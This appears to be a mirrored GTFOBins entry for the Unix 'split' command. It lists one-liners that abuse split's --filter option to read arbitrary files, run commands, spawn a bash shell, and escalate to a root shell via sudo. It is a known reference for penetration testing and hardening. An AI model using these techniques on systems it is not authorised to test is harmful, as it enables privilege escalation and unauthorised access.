1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/split.md

26 lines
593 B
Markdown
Raw Normal View History

2020-11-13 11:59:14 +01:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
split $LFILE $TF
cat $TF*
command:
- description: Command execution using an existing or new created file.
2020-11-13 12:12:08 +01:00
code: |
2020-11-13 11:59:14 +01:00
COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF
- description: Command execution using stdin (and close it directly).
code: |
COMMAND=id
echo | split --filter=$COMMAND /dev/stdin
shell:
- code: |
split --filter=bash /dev/stdin
sudo:
- code: |
split --filter=bash /dev/stdin
---